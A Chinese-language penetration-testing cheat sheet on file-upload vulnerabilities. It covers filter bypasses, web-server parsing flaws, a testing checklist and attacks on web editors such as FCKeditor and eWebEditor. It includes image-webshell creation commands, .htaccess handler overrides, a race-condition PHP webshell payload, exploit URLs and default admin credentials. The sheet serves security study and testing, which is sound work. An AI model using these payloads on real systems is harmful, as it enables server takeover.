跳到主要内容

文件上传

文件上传原理

程序员在开发web应用系统时没有对文件上传后缀内容进行过滤和检测,导致能够上传任意文件,就造成了任意文件上传漏洞

文件上传漏洞前提

  1. 前端存在上传页面,后端接收前端上传的表单数据

  2. 能控制上传的文件后缀

  3. 上传的文件通过后缀直接被解析运行

  4. 中间件解析漏洞(IIS6.0默认将asp/cer/cdx/asa/aspx解析为asp)

  5. 网站开启了文件上传功能

    php.ini相关配置

    file_uploads=ON #开启接收前端file表单数据

    upload_max_filesize=2M #最大上传文件大小为2M

    max_file_uploads=20 #最多一次性接收20个文件上传表单数据

  6. 开启了不安全的PUT写方法(通过PUT /index.php请求体内写一句话到wab根目录)

  7. 不完善的黑名单扩展名(1.asp. 1.asp 1.asp$DATA::.png 1.asp%00.png

上传文件后,若网站不解析文件,则可以考虑上传html文件(利用xss)

文件上传漏洞高危触发点

  • 头像,相册,附件
  • 论坛发帖,图片上传,附件上传,视频上传
  • 网站添加文章
  • 编辑器存在文件上传漏洞(fckeditor/ueditor等)

前端检测

识别

通过浏览器查看网络状态,点击提交按钮无网络请求

绕过方式

  • 删除修改前端代码
  • 浏览器/插件禁用js
  • 利用抓包工具抓包修改后缀

Mime-Type检测

作用:中间件赋予浏览器的一个标准,浏览器根据content-type的值指定组件进行渲染或者直接显示文件内容

后端检测mime-type($_FILES['uploadfile']['type']

绕过方式

抓包修改Content-Type值

  • image/jpeg
  • image/png
  • image/gif

文件头检测

linux十六进制查看文件

hexdump 1.jpg | head -10

常用图片格式文件头(文件幻数)

image-20220913143935539

相关检测函数

getimagesize()函数:用于获取图片大小信息,读取错误则返回false

绕过方式

  • 制作图片马

    copy 1.jpg/b + 1.php/a shell.php  #windows
    cat 1.jpg shell.php > shell2.php #linux
  • 使用编辑器在图片末尾加上一句话木马

  • 使用burp在文件末尾添加一句话木马

黑名单检测绕过方式

  • 大小写绕过

  • 特殊文件名(xxx.php空格 .htaccess xxx.php::$DATA...... xxx.php. .)

    image-20220914092253961

  • 00截断

    影响范围:php<5.3.4,magic_quotes_gpc为OFF

    • windows:不允许存在-/\*?#:<>|"
    • linux:不允许存在/?#<|'"

    若有文件路径,则直接添加%00

    无文件路径则使文件名为xx.php+.jpg,在hex中更改+为00即可

白名单检测绕过方式

  • 结合中间件漏洞
  • 结合文件包含漏洞

解析漏洞

Apache解析漏洞

  • 多文件后缀名(shell.php.aaa.bbb),apache httpd中间件从右向左依次判断解析,bbb不人识,aaa不认识,php认识,就当成php解析执行

  • 配置文件(httpd.conf)解析

    • AddHandler php5-script .jpg将文件名包含.jpg文件当成php解析执行
    • AddType application/x-httpd-php .jpg将文件名包含.ipg文件当成php解析执行
  • 中间件默认解析后缀

    .php .php3 .php4 .php5 .pht .phtml

  • 上传.htaccess文件解析其他后缀文件

    #1
    <FilesMatch ".abc">
    SetHandler application/x-httpd-php
    </FilesMatch>
    将文件名包含.abc文件解析成php
    #2
    AddType application/x-httpd-php .abc
    #3
    AddHandler php5-script .abc

IIS6.0解析漏洞

  • 目录解析

    x.asp或x.asa目录下的所有文件都会被解析为asp文件

  • 特殊文件名解析

    分号可以当做截断符号,分号后面的内容截断不识别。

    因此可以通过xx.asp;.jpg来进行绕过

  • 解析文件类型

    iis6.0默认的可执行文件除了asp还有asa、cer、cdx这三种后缀文件(当做asp执行)

    IIS7.0/7.5中会将.asp和.cer文件进行解析

IIS7.0/7.5/Nginx 1.x畸形解析漏洞(PHP cgi解析)

在访问一个文件的后缀后加上/xx.php,则会解析为php文件(例如1.jpg/.php)

利用条件

  1. Fast-CGl运行模式
  2. php.ini里cgi.fix_pathinfo=1(默认为1)
  3. 取消勾选php-cgi.exe程序的"Invoke handler only if request is mapped to"

文件上传测试思路

  1. 上传正常文件抓包,修改后缀名(asp|aspx|jsp|jspx|php)

  2. 根据回显判断检测类型(前端|Content-Type|文件头|黑名单|白名单)

  3. 黑名单检测

    • windows(大小写|空格|.|::$DATA)
    • Linux(00截断)
    • Apache(1.php.aaa.bbb.ccc)
    • IIS6.0(1.asp|1.asa|1.cer|1.cdx)
    • IIS7.5(1.asp|1.cer)
  4. 白名单检测

    • IIS6.0(1.asp/1.jpg,1.asp;.jpg)

    • IIS7.0|IIS7.5(php-cig 1.jpg/.php)

    • Nginx 1.x (fix_pathinfo=1,1.jpg/.php)

  5. 其他检测

    • 条件竞争

      burp同时发上传包和访问包(访问包访问上传包访问所在位置)(php为多线程处理)

      <?php file_put_contents('shell.php','<?=assert($_REQUEST[1]);?>')?>
    • 利用时间戳包含图片文件写shell

      <?php include($_GET['file']);?>
  6. 文件有上传成功回显但无文件路径

    • 查看图片源代码,拼接路径

    • burpsuite爬虫|浏览器挂burp代理网站功能点一遍(网站目录结构),目录拼接文件名访问(将目录提取成字典+文件名爆破)

    • 目录爆破工具进行爆破(dirb|dirbuster|dirmap|dirsearch|御剑|7kb Webpathscanner),组合文件访问

    • 利用搜索引擎site:xxx.com,从搜索引擎爬虫结果获取目录结构

    • 查看网站前端代码

编辑器漏洞

常见编辑器

  • FCKeditor

    • fckeditor编辑器页 fckeditor/_samples/default.html
    • 查看编辑器版本 fckeditor/whatsnew.html /fckeditor/editor/dialog/fck about.html
    • 查看文件上传路径 fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp? command=getfoldersandfiles&type=image¤tfolder=/
    • 文件上传页面 fckeditor/editor/filemanager/connectors/test.html fckeditor/editor/filemanager/connectors/uploadtest.html fckeditor/editor/filemanager/browser/default/connectors/test.html fckeditor/editor/filemanager/upload/test.html
    • 高版本利用US解析漏洞组合创建.asp目录会将.替换成_ 绕过方式:递归创建 FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=file&CurrentFolder=/shell.asp& NewFoldername=test 先创建shell.asp再创建test目录,这样可以绕过高版本将.asp替换成_aspl
    • 修改允许上传后缀名绕过(登录到后台)
  • Ewebeditor

    • 关键文字的名称和路径 Admin Login.asp登录页面 Admin Default.asp管理首页 Admin UploadFile.asp Upload.asp
    • 默认用户名密码 账号密码基本是默认的admin/admin(admin888)
    • 下载数据库 默认数据库/db/ewebeditor.mdb或者/db/ewebeditor.asp
    • 文件上传接口存在任意文件上传
    • 遍历路径目录遍历
    • Cookie漏洞日志文件中泄露cookie
    • 后台允许上传后缀名
  • Ueditor

    • 文件读取

      file目录文件读取

      image目录文件读取

  • KindEditor